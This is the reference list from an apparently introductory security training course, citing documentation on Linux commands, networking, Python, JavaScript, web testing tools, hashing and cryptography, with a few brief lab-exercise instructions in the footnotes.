(GNU, 2023), https://www.gnu.org/software/bash/manual/html_node/History-Interaction.html↩︎
-
(Ryan Chadwick, 2023), https://ryanstutorials.net/linuxtutorial/wildcards.php↩︎
-
(die.net, 2023), https://linux.die.net/man/1/find↩︎
-
(die.net, 2023), https://linux.die.net/man/1/locate↩︎
-
(die.net, 2023), https://linux.die.net/man/1/which↩︎
-
(guru99, 2023), https://www.guru99.com/linux-redirection.html↩︎
-
(opensource.com, 2018), https://opensource.com/article/18/10/linux-data-streams↩︎
-
(die.net, 2023), https://linux.die.net/man/1/sort↩︎
-
(die.net, 2023), https://linux.die.net/man/1/grep↩︎
-
(die.net, 2023), https://www.gnu.org/software/sed/manual/sed.html↩︎
-
(die.net, 2023), https://linux.die.net/man/1/cut↩︎
-
(GNU, 2023), https://www.gnu.org/software/gawk/manual/gawk.html↩︎
-
(RexEgg, 2017), http://www.rexegg.com/↩︎
- ↩︎
- ↩︎
- ↩︎
-
(die.net, 2023), https://linux.die.net/man/1/comm↩︎
-
(die.net, 2023), https://linux.die.net/man/1/diff↩︎
-
(GNOME, 2023), https://wiki.gnome.org/Apps/Gedit↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Leafpad↩︎
-
(nano-editor, 2023), https://www.nano-editor.org/dist/v2.9/nano.html↩︎
-
(nano-editor, 2023), https://www.nano-editor.org/dist/latest/nano.html↩︎
-
(Linux man page, 2018), https://man7.org/linux/man-pages/man5/passwd.5.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Passwd#Shadow_file↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Timestamp↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/User_identifier↩︎
-
(Linux man page, 2022), https://man7.org/linux/man-pages/man5/group.5.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Sudo↩︎
- ↩︎
- ↩︎
- ↩︎
-
(Linux man page, 2022), https://man7.org/linux/man-pages/man5/sudoers.5.html↩︎
-
(Linuxize blog, 2020), https://linuxize.com/post/su-command-in-linux/↩︎
-
(Ubuntu community wiki, 2013), https://help.ubuntu.com/community/FilePermissions↩︎
- ^arch_file_permission ↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Process_identifier↩︎
-
(faqs.org, 2002), http://www.faqs.org/docs/bashman/bashref_78.html#SEC85↩︎
- ^lin05_jobcontrol2 ↩︎
-
(The Linux Information Project, 2015), http://www.linfo.org/ps.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Signal_(IPC)#POSIX_signals↩︎
-
(die.net, 2023), https://linux.die.net/man/1/tail↩︎
-
(die.net, 2023), https://linux.die.net/man/1/watch↩︎
-
(Kali Linux, 2023), https://www.kali.org/docs/↩︎
-
(Debian, 2023), https://www.debian.org/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Dependency_hell↩︎
-
(phoenixNAP, 2023), https://phoenixnap.com/kb/how-to-list-display-view-all-cron-jobs-linux↩︎
-
(Linux man page, 2020), https://man7.org/linux/man-pages/man5/wtmp.5.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Runlevel↩︎
-
(Linuxize, 2020), https://linuxize.com/post/last-command-in-linux/↩︎
-
(Linuxize, 2020), https://linuxize.com/post/who-command-in-linux/↩︎
-
(TechTarget, 2023), https://www.techtarget.com/searchstorage/definition/gibibyte-GiB↩︎
-
(die.net, 2017), https://linux.die.net/man/1/df↩︎
-
(die.net, 2017), https://linux.die.net/man/1/dd↩︎
-
(die.net, 2017), https://linux.die.net/man/1/du↩︎
-
(die.net, 2017), https://linux.die.net/man/8/mount↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Journaling_file_system↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Computer_network↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/OSI_model↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Internet_protocol_suite↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Pcap↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Communication_protocol↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Protocol_data_unit↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Broadcast_domain↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Internet↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/ARPANET↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Port_(computer_networking)#Port_number↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Address_Resolution_Protocol↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Data_link_layer↩︎
-
(Network Encyclopedia, 2023), https://networkencyclopedia.com/collision-in-computer-networking/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Organizationally_unique_identifier↩︎
-
(What Is My IP Address, 2023), https://whatismyipaddress.com/ip-basics↩︎
-
(What Is My IP Address, 2023), https://whatismyipaddress.com/ip-basics↩︎
-
(Microsoft, 2022), https://docs.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting#:~:text=A%20subnet%20mask%20is%20used,and%20see%20how%20it's%20organized.↩︎
- ↩︎
- ↩︎
-
(Chromium Blog, 2021), https://blog.chromium.org/2021/03/a-safer-default-for-navigation-https.html↩︎
-
(What Is My IP Address, 2023), https://whatismyipaddress.com/mail-server↩︎
-
(Comparitech, 2022), https://www.comparitech.com/net-admin/pcap-guide/↩︎
-
(Wireshark, 2023), https://www.wireshark.org/docs/man-pages/tshark.html↩︎
-
(Wireshark, 2023), https://wiki.wireshark.org/CaptureFilters↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Local_area_network↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Virtual_private_network↩︎
-
(Wireshark, 2023), https://wiki.wireshark.org/DisplayFilters↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/ASCII↩︎
-
(Exploit Database, 2021), https://www.exploit-db.com/exploit-database-statistics↩︎↩︎
-
(Wireshark, 2023), https://www.wireshark.org/docs/wsug_html_chunked/ChAdvFollowStreamSection.html↩︎
-
(Wireshark, 2023), https://www.wireshark.org/docs/wsug_html_chunked/ChIOExportSection.html
In your Kali Linux VM open the flow_and_export.pcap file
associated with this exercise.↩︎ -
(TCPDump, 2023), http://www.tcpdump.org/
On your Kali Linux VM, download and open the arp_and_icmp.pcap file
associated with this exercise. Remember to use -r switch in order to
read the content of a capture file.↩︎ -
(Wikipedia, 2022), https://en.wikipedia.org/wiki/ARP_spoofing↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol↩︎
-
(IETF, 1981), https://tools.ietf.org/html/rfc792↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Round-trip_delay↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol↩︎
-
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Routing_table↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/0.0.0.0↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Firewall_(computing)↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Access-control_list↩︎
-
(Linux System Administrators Guide, 2023), https://tldp.org/LDP/sag/html/filesystems.html#:~:text=A%20filesystem%20is%20the%20methods,the%20type%20of%20the%20filesystem↩︎
-
(Microsoft, 2022), https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Iptables↩︎
-
(Cisco, 2023), https://www.cisco.com/assets/sol/sb/RV320_Emulators/RV320_Emulator_v1-1-0-09/help/Setup13.html↩︎
-
(GNU, 2020), http://www.gnu.org/software/bash/↩︎
-
(Cyberciti, 2022), https://bash.cyberciti.biz/guide/Shebang↩︎↩︎↩︎
-
(The Linux Information Project, 2005), http://www.linfo.org/absolute_pathname.html↩︎
-
(GNU, 2019), https://www.gnu.org/software/bash/manual/html_node/Command-Substitution.html↩︎
-
(BashFAQ, 2016), http://mywiki.wooledge.org/BashFAQ/082↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Parameter_(computer_programming)↩︎
-
(GNU, 2021), https://www.gnu.org/software/bash/manual/html_node/Bash-Conditional-Expressions.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Boolean_data_type↩︎
-
(Whatis.com, 2005), http://whatis.techtarget.com/definition/loop↩︎
-
(nixCraft, 2022), https://www.cyberciti.biz/faq/bash-infinite-loop/↩︎
-
(Python, 2023), https://docs.python.org/3/tutorial/controlflow.html#for-statements↩︎↩︎
-
(Python, 2023), https://docs.python.org/3/reference/compound_stmts.html#while↩︎↩︎
-
(Bash One-Liners, 2019), http://www.bashoneliners.com/↩︎
-
(Cisco, 2016), https://www.cisco.com/c/en/us/support/docs/ip/routing-information-protocol-rip/13788-3.html↩︎
-
(GNU, 2019), https://www.gnu.org/software/bash/manual/html_node/Brace-Expansion.html↩︎
-
(Bash Hackers Wiki, 2014), http://wiki.bash-hackers.org/syntax/expansion/brace↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Port_scanner↩︎
-
(Nmap, 2019), http://nmap.org/↩︎
-
(Firewall.cx, 2022), http://www.firewall.cx/networking-topics/protocols/icmp-protocol/152-icmp-echo-ping.html↩︎
-
(Stack Overflow, 2019), https://stackoverflow.com/questions/2939869/what-is-exactly-the-off-by-one-errors-in-the-while-loop↩︎
-
(Linux Hint, 2023), https://linuxhint.com/what-is-cat-eof-bash-script/↩︎
-
(Vivek Gite, 2021), https://cyberciti.biz/faq/howto-check-if-a-directory-exists-in-a-bash-shellscript↩︎
-
(Advanced Bash-Scripting Guide, 2014), http://tldp.org/LDP/abs/html/localvar.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Scripting_language↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Conditional_(computer_programming)↩︎
-
(TLDP, 2023), https://tldp.org/LDP/abs/html/loops1.html↩︎
-
(Python, 2023), https://www.python.org/doc/essays/blurb/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Type_conversion↩︎
-
(Python, 2023), https://docs.python.org/3/tutorial/introduction.html#strings↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Array_slicing↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Escape_character↩︎
-
(Python, 2023), https://docs.python.org/3/library/stdtypes.html#typesnumeric↩︎
-
(Python, 2023), https://docs.python.org/3/tutorial/floatingpoint.html↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Boolean_data_type#Python,_Ruby,_and_JavaScript↩︎
-
(Python, 2023), https://docs.python.org/3/tutorial/datastructures.html↩︎
-
(Python, 2023), https://docs.python.org/3/tutorial/datastructures.html#dictionaries↩︎
-
(PCMag, 2023), https://www.pcmag.com/encyclopedia/term/key-value-pair↩︎
-
(W3Schools, 2023), https://www.w3schools.com/python/ref_func_range.asp↩︎
-
(Python, 2023), https://docs.python.org/3/tutorial/controlflow.html↩︎
-
(GeeksforGeeks, 2023), https://www.geeksforgeeks.org/python-3-input-function/↩︎
-
(Python, 2023), https://docs.python.org/3/library/functions.html#open↩︎
-
(W3Schools, 2023), https://www.w3schools.com/python/ref_file_read.asp↩︎
-
(W3Schools, 2023), https://www.w3schools.com/python/python_file_write.asp↩︎
-
(Python, 2023), https://docs.python.org/3/tutorial/controlflow.html#defining-functions↩︎
-
(Python, 2023), https://docs.python.org/3/library/json.html↩︎
-
(Python-Requests, 2023), https://docs.python-requests.org/en/latest/↩︎
-
(NumPy, 2023), https://numpy.org/↩︎
-
(Python, 2023), https://docs.python.org/3/reference/import.html↩︎
-
(Python-Requests, 2023), https://docs.python-requests.org/en/latest/↩︎
-
(Mozilla, 2023), https://developer.mozilla.org/en-US/docs/Web/HTTP/Status↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Network_socket↩︎
-
(GeeksforGeeks, 2023), https://www.geeksforgeeks.org/socket-programming-python/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Newline↩︎↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Web_crawler↩︎
-
(GeeksforGeeks, 2023), https://www.geeksforgeeks.org/how-to-write-a-pseudo-code/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Flowchart↩︎
-
(Lucidchart, 2023), https://www.lucidchart.com/pages/↩︎
-
(GeeksforGeeks), https://www.w3schools.com/python/ref_string_split.asp↩︎
-
(Schkn, 2020), https://devconnected.com/how-to-change-ip-address-on-linux/↩︎
-
(mfillpot, 2022), https://www.linux.com/training-tutorials/understanding-linux-file-permissions/↩︎
-
(Linuxize, 2019), https://linuxize.com/post/chmod-command-in-linux/↩︎
-
(retr0, 2023), https://www.geeksforgeeks.org/python-type-function/↩︎
-
(rajatrj20, 2022), https://www.geeksforgeeks.org/python-int-function/↩︎
-
(deepanshumehra1410, 2021), https://www.geeksforgeeks.org/python-str-function/↩︎
-
(OffSec, 2023), https://www.vulnhub.com/↩︎
-
(Kiotprix, 2010), https://www.vulnhub.com/entry/kioptrix-level-1-1,22/↩︎
-
(SPABAM, 2002), https://www.exploit-db.com/exploits/764↩︎
-
(HypnZA, 2017), https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/↩︎
-
(tachomi, 2016), https://unix.stackexchange.com/questions/288521/with-the-linux-cat-command-how-do-i-show-only-certain-lines-by-number↩︎
-
(GeeksforGeeks, 2022), https://www.geeksforgeeks.org/head-command-linux-examples/↩︎
-
(GeeksforGeeks, 2021), https://www.geeksforgeeks.org/cat-command-in-linux-with-examples/↩︎
-
(GeeksforGeeks, 2021), https://www.geeksforgeeks.org/tail-command-linux-examples/↩︎
-
(OffSec, 2023), https://kali.org/↩︎
-
(tithimukherjee, 2021), https://www.geeksforgeeks.org/how-to-recover-a-deleted-file-in-linux/↩︎
-
(Wallen, 2015), https://www.linux.com/training-tutorials/live-booting-linux/↩︎
-
(CSO, 2019), https://www.csoonline.com/article/2124681/what-is-social-engineering.html↩︎
-
(OWASP, 2021), https://owasp.org/Top10/↩︎
-
(OWASP, 2021), https://owasp.org/↩︎
-
(phoenixNAP, 2022), https://phoenixnap.com/blog/software-development-life-cycle↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Query_string↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/List_of_HTTP_status_codes↩︎
-
(W3Schools, 2021), https://www.w3schools.com/tags/ref_urlencode.ASP↩︎
-
(Python Software Foundation, 2021), https://docs.python.org/3/library/urllib.parse.html↩︎
-
(URL Decode and Encode, 2021), https://www.urlencoder.org/
On the Kali Linux VM open a terminal and the Python3 interpreter by
executing the command python3. Import the urllib.parse
package.↩︎ -
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/List_of_HTTP_header_fields↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Ajax_(programming)↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/HTTP_cookie↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTML↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Hyperlink↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/CSS↩︎
-
(Phishing.org, 2021), https://www.phishing.org/what-is-phishing#:~:text=Phishing%20is%20a%20cybercrime%20in,credit%20card%20details%2C%20and%20passwords.↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript
Use web browser development tools to solve the following exercises.
Further instructions can be found at /module1.html of the target
VM.↩︎ -
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Minification_(programming)
Use web browser development tools to solve the following exercise.
Further instructions can be found at /module3.html of the target
VM.↩︎ -
(Cloudflare, 2021), https://www.cloudflare.com/en-ca/learning/bots/what-is-robots.txt/↩︎
-
(Wikipedia.org, 2023), https://en.wikipedia.org/wiki/Web_crawler↩︎↩︎
-
(Cloudflare, 2021), https://www.cloudflare.com/en-ca/learning/bots/what-is-a-bot/↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Sitemaps↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Search_engine_optimization↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Database↩︎
-
(IBM, 2019), https://www.ibm.com/cloud/learn/relational-databases↩︎
-
(MongoDB, 2021), https://www.mongodb.com/non-relational-database↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/SQL↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Select_(SQL)↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/From_(SQL)↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Where_(SQL)↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Join_(SQL)↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Primary_key↩︎
-
(W3Schools, 2021), https://www.w3schools.com/sql/sql_foreignkey.asp↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Set_operations_(SQL)#UNION_operator↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/JavaScript↩︎
-
(W3 Techs), 2022), https://w3techs.com/technologies/details/cp-javascript/↩︎
-
(Node, 2022), https://nodejs.org/en/↩︎
-
(Trio, 2022), https://trio.dev/blog/companies-use-node-js↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/Console/log↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/Document/write↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/API/Window/alert↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/ECMAScript#6th_Edition_%E2%80%93_ECMAScript_2015↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Floating-point_arithmetic↩︎
-
(Wikipedia, 2002), https://en.wikipedia.org/wiki/Boolean_data_type↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Web/JavaScript↩︎
-
(Mozilla, 2022), https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp↩︎
-
(Chromium.org, 2023), https://www.chromium.org/↩︎
-
(FoxyProxy, 2023), https://getfoxyproxy.org/↩︎
-
(Wikipedia.org, 2023), https://en.wikipedia.org/wiki/Proxy_server↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp/documentation/desktop/tools/target/scope↩︎↩︎
-
(WordPress.com, 2023), https://wordpress.com/↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp/documentation/desktop/tools/repeater/using↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp/documentation/desktop/tools/intruder/using↩︎↩︎
-
(Wikipedia.org, 2023), https://en.wikipedia.org/wiki/Fuzzing↩︎
-
(PortSwigger, 2023) https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types↩︎↩︎↩︎↩︎
-
(Wikipedia.org, 2023) https://en.wikipedia.org/wiki/Binary-to-text_encoding↩︎
-
(Linux man page, 2023), https://linux.die.net/man/1/base64↩︎↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp/documentation/desktop/tools/decoder↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp/documentation/desktop/getting-started/running-your-first-scan↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp/documentation/collaborator↩︎
-
(PortSwigger, 2023), https://portswigger.net/burp/documentation/desktop/functions/generate-csrf-poc↩︎
-
(Wikipedia.org, 2023), https://en.wikipedia.org/wiki/Proof_of_concept↩︎
-
(Wikipedia.org, 2023), https://en.wikipedia.org/wiki/Cross-site_request_forgery↩︎
-
(Wikipedia, 2023), https://www.fortinet.com/resources/cyberglossary/cia-triad↩︎
-
(TechRepublic, 2008), https://www.techrepublic.com/blog/it-security/the-cia-triad↩︎
- ^cia_triad2 ↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/MD5↩︎
-
(explainshell.com, 2023), https://explainshell.com/explain/1/bc↩︎
-
(explainshell.com, 2023), https://explainshell.com/explain/1/xxd↩︎
- ↩︎
-
(asciitable, 2023), http://www.asciitable.com/↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Unicode↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/UTF-8↩︎
-
(smashingmagazine, 2012), https://www.smashingmagazine.com/2012/06/all-about-unicode-utf8-character-sets/↩︎
-
(tecmint, 2016), https://www.tecmint.com/convert-files-to-utf-8-encoding-in-linux/↩︎
-
(Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc732443(v=ws.11)↩︎↩︎
- ^certutil_2 ↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Cryptographic_hash_function↩︎
-
(Linux man page, 2023), https://linux.die.net/man/1/md5sum↩︎↩︎
-
(Linux man page, 2023), https://linux.die.net/man/1/sha1sum↩︎
-
(Linux man page, 2023), https://linux.die.net/man/1/sha256sum↩︎
-
(Linux man page, 2023), https://linux.die.net/man/1/sha512sum↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Passwd#Shadow_file↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Security_Account_Manager↩︎
-
(Kali tools, 2021), https://tools.kali.org/password-attacks/hash-identifier↩︎
-
(hashID homepage, 2015), https://psypanda.github.io/hashID/↩︎
-
(Auth0 blog, 2021), https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/↩︎
- ^password_store ↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Rainbow_table↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Brute-force_attack↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Dictionary_attack↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/John_the_Ripper↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Symmetric-key_algorithm↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Caesar_cipher↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/ROT13↩︎
-
(Linux man page, 2023), https://linux.die.net/man/1/tr↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/XOR_cipher↩︎
-
(Lockhart, 2021), http://irtfweb.ifa.hawaii.edu/~lockhart/gpg/↩︎
-
(Techopedia, 2022), https://www.techopedia.com/definition/27121/feistel-network↩︎
-
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Substitution%E2%80%93permutation_network↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Public-key_cryptography↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Transport_Layer_Security↩︎
-
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Forward_secrecy↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Phishing↩︎
-
(Penetration testing execution standard (PTES), 2014), http://www.pentest-standard.org/index.php/Main_Page↩︎
-
(OWASP, 2021), https://owasp.org/www-project-web-security-testing-guide/↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Solution_stack↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/LAMP_(software_bundle)↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Microservices↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD↩︎
-
(StrongLoop, IBM, et al, 2017), https://expressjs.com/en/guide/routing.html↩︎
-
(Nmap.org, 2021), https://nmap.org/↩︎
-
(Pinuaga, 2014) http://dirb.sourceforge.net/about.html↩︎
-
(OffSec Services Limited, 2021), https://tools.kali.org/web-applications/dirbuster↩︎
-
(OJ Reeves, 2020), https://github.com/OJ/gobuster↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Vulnerability_scanner↩︎
-
(tenable.com, 2021), https://www.tenable.com/products/nessus/↩︎
-
(PortSwigger Ltd, 2021), https://portswigger.net/burp↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Attack_surface↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Cross-site_scripting↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/SQL_injection↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Static_program_analysis↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Decompiler↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Reverse_engineering#Software↩︎
-
(The MITRE Corporation, 2021), https://cve.mitre.org/↩︎
-
(OffSec Services Limited, 2021), https://www.exploit-db.com/↩︎
-
(OWASP, 2021), https://owasp.org/www-project-dependency-check/↩︎
-
(Erlend Oftedal, 2021) https://retirejs.github.io/retire.js/↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Authentication↩︎
-
(OWASP, 2021), https://owasp.org/www-community/attacks/Forced_browsing↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Insecure_direct_object_reference↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Session_hijacking↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Session_(computer_science)↩︎
-
(OWASP, 2021), https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Data_exfiltration↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Personal_data↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Arbitrary_code_execution↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Red_team#Cybersecurity↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Privilege_escalation↩︎
-
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#sec-localsystem↩︎
-
(The MITRE Corporation, 2021), https://cwe.mitre.org/↩︎
-
(The MITRE Corporation, 2021), https://cwe.mitre.org/data/definitions/23.html↩︎
-
(Forum of Incident Response and Security Teams, 2021), https://www.first.org/cvss/v3.1/specification-document↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Secure_coding↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Trust_boundary↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Microservices↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Content_delivery_network↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Defense_in_depth_(computing)↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Type_system#Dynamic_type_checking_and_runtime_type_information↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Type_system#Static_type_checking↩︎
-
(Python Software Foundation, 2021), https://docs.python.org/3/library/functions.html#type↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Cross-site_scripting↩︎
-
(CheatSheets Series Team, 2021), https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html#allow-list-vs-block-list↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Regular_expression↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Character_Classes↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions/Groups_and_Ranges↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions#using_regular_expressions_in_javascript↩︎
-
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Glossary/Entity↩︎
-
(Python Software Foundation, 2021), https://docs.python.org/3/library/html.html↩︎
-
(The PHP Group, 2021), https://www.php.net/manual/en/function.htmlentities.php↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Template_processor↩︎
-
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Escape_character↩︎
-
